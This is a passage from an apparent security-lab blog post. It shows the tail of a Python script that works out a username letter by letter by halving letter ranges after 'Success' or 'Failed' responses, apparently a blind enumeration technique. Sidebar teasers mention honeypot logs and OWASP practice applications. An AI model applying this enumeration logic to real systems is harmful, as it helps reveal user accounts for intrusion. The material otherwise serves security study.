comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='w'
secondletter='w'
elif successful == "Yes" and firstletter=='n' and secondletter=='t': # if n-t then n-q
comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='n'
secondletter='q'
elif successful == "Yes" and firstletter=='n' and secondletter=='q': # if n-q then n
comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='n'
secondletter='n'
elif successful == "No" and firstletter=='n' and secondletter=='n': # if n-q and not n then o
comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='o'
secondletter='o'
elif successful == "No" and firstletter=='o' and secondletter=='o': # if n-q and not o then p
comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='p'
secondletter='p'
elif successful == "No" and firstletter=='p' and secondletter=='p': # if n-q and not p then q
comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='q'
secondletter='q'
elif successful == "No" and firstletter=='n' and secondletter=='q': # if n-t and not n-q then r-t
comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='r'
secondletter='t'
elif successful == "Yes" and firstletter=='r' and secondletter=='t': # if n-t and r-t then r
comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='r'
secondletter='r'
elif successful == "No" and firstletter=='r' and secondletter=='r': # if n-t and r-t and not r then s
comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='s'
secondletter='s'
elif successful == "No" and firstletter=='s' and secondletter=='s': # if n-t and r-t and not s then t
comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='t'
secondletter='t'
elif successful == "Yes" and firstletter=='n' and secondletter=='q': # if n-q then n
comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='n'
secondletter='n'
elif successful == "Yes" and firstletter=='a' and secondletter=='g': # if a-m and a-g then a-d
comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='a'
secondletter='d'
elif successful == "No" and firstletter=='a' and secondletter=='g': # if a-m and not a-g then h-m
comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='h'
secondletter='m'
elif successful == "Yes" and firstletter=='h' and secondletter=='m': # if a-m and h-m then h-j
comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='h'
secondletter='j'
elif successful == "No" and firstletter=='h' and secondletter=='j': # if a-m and h-m not h-j then k-m
comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='k'
secondletter='m'
elif successful == "Yes" and firstletter=='k' and secondletter=='m': # if a-m and h-m and k-m then k
comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='k'
secondletter='k'
elif successful == "No" and firstletter=='k' and secondletter=='k': # if a-m and h-m and k-m not k then l
comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='l'
secondletter='l'
elif successful == "No" and firstletter=='l' and secondletter=='l': # if a-m and h-m and k-m not l then m
comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='m'
secondletter='m'
elif successful == "Yes" and firstletter=='h' and secondletter=='j': # if a-m and h-m and h-j then h
comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='h'
secondletter='h'
elif successful == "No" and firstletter=='h' and secondletter=='h': # if a-m and h-m and h-j not h then i
comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='i'
secondletter='i'
elif successful == "No" and firstletter=='i' and secondletter=='i': # if a-m and h-m and h-j not i then j
comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='j'
secondletter='j'
elif successful == "Yes" and firstletter=='a' and secondletter=='d': # if a-m and a-g and a-d then a
comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='a'
secondletter='a'
elif successful == "No" and firstletter=='a' and secondletter=='a': # if a-m and a-g and a-d not a then b
comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='b'
secondletter='b'
elif successful == "No" and firstletter=='b' and secondletter=='b': # if a-m and a-g and a-d not b then c
comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='c'
secondletter='c'
elif successful == "No" and firstletter=='c' and secondletter=='c': # if a-m and a-g and a-d not c then d
comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='d'
secondletter='d'
elif successful == "Yes" and firstletter==secondletter: # if a-m and a-g and a-d then d
comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
usernameSegment = usernameSegment + firstletter
firstletter='a'
secondletter='m'
usernameSegmentCount += 1
else:
comment = "Finished!"
case = "Quit"
print(comment)
for letter in 'abcdefghijklmnopqrstuvwxyz':
main(letter)
b
Subscribe to:
Posts (Atom)
Test Authentication from Linux Console using python3 pexpect
Working with the IT420 lab, you will discover that we need to discover a vulnerable user account. The following python3 script uses the pex...
-
Here is a quick walk through of GetBoo. The first item that I found was you can harvest the usernames of the existing users that are regist...
-
As I was glancing through the logs of my honeypots I spent some time to look at the following logs. In the past I have just overlooked them...
-
I thought I would work through a few of these web applications provided by OWASP on their broken web applications VM. The first one I th...
-
Today looking at the logs of the honeypots, I became curious based on the whois of the IP Addresses attempting to login to SSH which country...
-
Recently I was doing some scanning with a tool that is available on github called masscan. The tool allows you to configure a configuration...